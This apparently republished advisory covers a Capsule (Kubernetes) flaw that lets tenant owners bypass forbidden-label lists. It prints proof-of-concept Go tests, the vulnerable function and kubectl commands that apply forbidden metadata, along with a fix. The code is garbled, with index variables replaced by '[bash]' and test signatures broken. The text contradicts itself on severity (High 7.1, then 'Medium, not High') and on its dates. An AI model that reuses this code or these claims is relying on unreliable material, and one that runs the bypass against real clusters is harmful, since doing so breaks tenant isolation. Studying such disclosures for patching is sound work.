Listen to this Post
Capsule is a multi-tenancy and policy-based framework for Kubernetes that enables cluster administrators to define tenants with strict isolation boundaries. A core part of this isolation model is the ability for administrators to forbid specific metadata keys — labels and annotations — that tenant owners must not place on their own resources. These forbidden lists exist to prevent tenant owners from setting metadata that other controllers or admission plugins key on, such as Pod Security Admission labels, kubernetes.io/metadata.name, LoadBalancer or externalIP service annotations, scheduler annotations, and vendor labels that grant network reach.
The validating webhooks enforce these restrictions through api.ValidateForbidden, which calls `ForbiddenListSpec.ExactMatch(key)` for every metadata key a tenant submits. The `ExactMatch` function is implemented in `pkg/api/forbidden_list.go` and is responsible for determining whether a given key appears in the administrator’s denied list. The function sorts the denied list case-insensitively using `sort.SliceStable` with a `strings.ToLower` comparator, then performs a byte-order binary search using `sort.SearchStrings` over the result.
The vulnerability, tracked as CVE-2026-61672, arises from a fundamental mismatch between these two operations. `sort.SearchStrings` is only correct on a slice sorted in plain byte-ascending order. Whenever the denied list contains an entry whose case-insensitive position differs from its byte position — which happens any time the list mixes a capitalised key with lowercase keys, because ASCII uppercase letters (0x41–0x5A) sort before lowercase (0x61–0x7A) by byte but are interleaved by `ToLower` — the binary search lands on the wrong index. As a result, `ExactMatch` returns `false` for a key that is literally present in the denied list, and the webhook allows the forbidden metadata.
A tenant owner, who legitimately holds patch/create rights on their own tenant-owned namespaces and Services, can therefore set a metadata key the administrator explicitly forbade. This defeats the isolation control and reaches metadata-driven cross-tenant and system effects of exactly the kind Capsule’s forbidden lists are meant to prevent. The bug is deterministic, requires no race condition, and is present unchanged on the main branch. The affected code is in Capsule v0.13.5, and the issue is fixed in version 0.13.7. The CVSS v3.1 base score is 7.1 (High), with a vector of AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N.
DailyCVE Form:
Platform: Kubernetes
Version: < 0.13.7
Vulnerability : CVE-2026-61672
Severity: High
date: 2026-09-18
Prediction: 2026-06-24
What Undercode Say:
Analytics
The following bash commands and code snippets demonstrate the vulnerable logic and the bypass:
Step 1: Fetch the exact source under test git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git cd capsule git rev-parse HEAD expect 34262c5536604762090144b6f8aed3ef2780c18c
// pkg/api/forbidden_list.go — the comparison primitive
func (in ForbiddenListSpec) ExactMatch(value string) (ok bool) {
if len(in.Exact) > 0 {
sort.SliceStable(in.Exact, func(i, j int) bool {
return strings.ToLower(in.Exact[bash]) < strings.ToLower(in.Exact[bash])
})
i := sort.SearchStrings(in.Exact, value)
ok = i < len(in.Exact) && in.Exact[bash] == value
}
return ok
}
// pkg/api/forbidden_list.go — the public entry point the webhooks call
func ValidateForbidden(metadata map[bash]string, forbiddenList ForbiddenListSpec) error {
if reflect.DeepEqual(ForbiddenListSpec{}, forbiddenList) {
return nil
}
for key := range metadata {
var forbidden, matched bool
forbidden = forbiddenList.ExactMatch(key)
matched = forbiddenList.RegexMatch(key)
if forbidden || matched {
return NewForbiddenError(key, forbiddenList)
}
}
return nil
}
// Test file: pkg/api/forbidden_bypass_poc_test.go
package api
import "testing"
func denied() ForbiddenListSpec {
return ForbiddenListSpec{
Exact: []string{
"kubernetes.io/metadata.name",
"pod-security.kubernetes.io/enforce",
"NetworkPolicy",
},
}
}
func TestPoC_ForbiddenKeysBypassed(t testing.T) {
for _, k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} {
if err := ValidateForbidden(map[bash]string{k: "owned"}, denied()); err == nil {
t.Errorf("BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key %q", k)
} else {
t.Logf("(no bypass) correctly denied %q: %v", k, err)
}
}
}
func TestPoC_PositiveControl_StillBlocked(t testing.T) {
if err := ValidateForbidden(map[bash]string{"pod-security.kubernetes.io/enforce": "privileged"}, denied()); err == nil {
t.Errorf("control failure: denied key was NOT blocked")
}
}
func TestPoC_NegativeControl_BenignAllowed(t testing.T) {
if err := ValidateForbidden(map[bash]string{"app.kubernetes.io/name": "frontend"}, denied()); err != nil {
t.Errorf("control failure: benign key was wrongly denied: %v", err)
}
}
func TestPoC_ExactMatch_RootCause(t testing.T) {
spec := ForbiddenListSpec{Exact: []string{"B", "a"}}
if !spec.ExactMatch("B") {
t.Errorf("ROOT CAUSE: ExactMatch(%q) returned false though %q is in %v", "B", "B", spec.Exact)
}
}
Step 3: Run only these tests go test ./pkg/api/ -run 'TestPoC_' -v
How Exploit: (Educational Purposes!)
The vulnerability can be exploited by a tenant owner who has patch/create rights on their own tenant-owned namespaces and Services. The attacker model requires no additional Kubernetes privilege beyond what the normal Capsule tenancy model delegates.
Precondition: The administrator’s denied list must contain at least one entry whose case-insensitive sort order diverges from its byte order. In practice, this means the list mixes at least one capitalised key with lowercase keys. A list that is uniformly lowercase is not affected, and an empty list is not affected. Mixed-case denied lists are entirely realistic, as administrators routinely deny vendor/product-capitalised keys (e.g., OwnerReference, NetworkPolicy, CamelCase operator labels) alongside lowercase `kubernetes.io/…` keys.
Once the precondition holds, exploitation is deterministic and requires only a single `kubectl label` or `kubectl annotate` (or create) on a resource the tenant already controls:
Example: Tenant owner sets a forbidden label on their namespace kubectl label namespace <tenant-ns> NetworkPolicy=open Example: Tenant owner sets a forbidden annotation on their Service kubectl annotate service <service-name> service.beta.kubernetes.io/aws-load-balancer-internal=false
The webhook reports success, and the forbidden metadata is applied.
Protection: from this CVE
Upgrade Capsule to version 0.13.7 or later. Apply the updated deployment manifests and restart the Capsule controller manager pods to load the fixed binary.
As a temporary workaround, ensure all keys in the administrator’s forbidden list are uniformly lowercase so that case-insensitive and byte-order sorting coincide:
kubectl get forbiddenlist -A -o yaml | grep -i 'exactMatch' -A 20 Manually edit each entry to be lowercase
The official fix replaces the sort+SearchStrings with a direct membership test, and optionally builds the denied list into a `map[bash]struct{}` at admission time. If a binary search is desired for large lists, sort with plain `<` (drop the `ToLower` comparator) so the slice matches what `sort.SearchStrings` assumes. The identical fix should be applied to `AllowedListSpec.ExactMatch` in pkg/api/allowed_list.go.
Impact
The administrator’s forbidden-metadata isolation control is partially and silently bypassable. Concrete consequences depend on which key the gap exposes:
– Namespace labels/annotations: A tenant owner sets a label the admin forbade onto a tenant namespace — e.g., a Pod Security Admission `pod-security.kubernetes.io/enforce` override, a kubernetes.io/metadata.name-class identity label, or a label that a cluster NetworkPolicy selects on — re-introducing the multi-tenant-isolation break that Capsule’s forbidden-label feature exists to prevent.
– Service labels/annotations: A tenant owner sets a forbidden Service annotation — e.g., a cloud LoadBalancer, externalIPs, or internal-LB provider annotation the admin denied — influencing network exposure outside the tenant boundary.
– Node labels/annotations: For tenants granted node-patch rights, a forbidden node label that the admin meant to protect can be modified, affecting scheduling and topology decisions cluster-wide.
Scope is Changed (the webhook protects resources and effects beyond the tenant’s own boundary). Confidentiality and integrity impact is real but gated by the mixed-case precondition and by which specific key the gap exposes — hence Medium, not High.
Credit: 5ud0 / Tarmo Technologies
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

